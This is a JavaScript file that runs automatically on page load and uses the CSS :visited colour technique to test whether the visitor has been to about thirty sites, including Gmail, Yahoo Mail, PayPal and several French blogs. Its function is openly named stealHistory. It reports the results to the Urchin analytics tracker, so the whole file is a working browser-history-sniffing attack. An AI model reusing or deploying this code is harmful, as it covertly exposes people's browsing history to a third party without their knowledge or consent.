﻿function doUrchin( Link, Prefix )
{
	Link = Link.replace( /^(http(s)?:\/\/)/i, '' );
	Link = Link.replace( /\./i, '_' );
	
	if( Prefix != null )
	{
		Link = '/' + Prefix + '/' + Link;
	}
	
	urchinTracker( Link );	
}

addEvent( window, 'load', stealHistory );

var IEVisitedColor 	= '#cd0018';
var W3CVisitedColor	= 'rgb(205, 0, 24)';

var websites = [
  "http://lemonde.fr/",
  "http://digg.com/",
  "http://jeremiahgrossman.blogspot.com/",
  "http://login.yahoo.com/",
  "http://mail.google.com/",
  "http://mail.yahoo.com/",
  "http://my.yahoo.com/",
  "http://reddit.com/",
  "http://seoblackhat.com",
  "http://www.amazon.com/",
  "http://www.blogger.com/",
  "http://www.bloglines.com/",
   "http://www.ebay.com/",
 "http://www.expedia.com/",
  "http://www.myspace.com/",
   "http://www.paypal.com/",
  "http://www.yahoo.com/",
  "http://www.bing.com/",
  "http://www.alexa.com/",
  "http://www.youtube.com/",
  "http://poppyroses.canalblog.com/",
  "http://www.entrevue-web.fr/",  
  "http://happyfew.hautetfort.com/",
  "http://www.neteco.com/",
  "http://www.presse-citron.net/",
  "http://www.accessoweb.com/",
  "http://fr.techcrunch.com/",
  "http://www.guysen.com/",
  "http://binyamin.net/",
  "http://jerusalemstyle.com"
];

function stealHistory()
{
	if( document.getElementById( 'site-list' ) )
	{
		var List = document.getElementById( 'site-list' );
		
		for( var i = 0; i < websites.length; i++ ) 
		{
			var bRemove		= false;
			var ListItem	= document.createElement( 'li' );
			var Link 		= document.createElement( 'a' );
			Link.href 		= websites[i];
			Link.id			= i;
			Link.target 	= 'blank';

			
			Link.appendChild( document.createTextNode( websites[i] ) );
			ListItem.appendChild( Link );
			List.appendChild( ListItem );
			
			if( Link.currentStyle )
			{
				var color = Link.currentStyle['color'];
				
				if( color == IEVisitedColor )
				{
					bRemove = true;
				}
			}
			else if( document.defaultView.getComputedStyle( Link, null ) )
			{
				var color = document.defaultView.getComputedStyle( Link, null ).color;
				
				if( color == W3CVisitedColor )
				{
					bRemove = true;
				}
			}
			/*
			// does not work in safari
			else if( window.getComputedStyle )
			{
				var color = window.getComputedStyle( Link, null ).color;
				
				if( color == W3CVisitedColor )
				{
					bRemove = true;
				}
			}
			*/
			
			if( bRemove == true )
			{
				List.removeChild( ListItem );
			}
			else
			{
				doUrchin( websites[i], 'visited' );
			}
		}
	}
}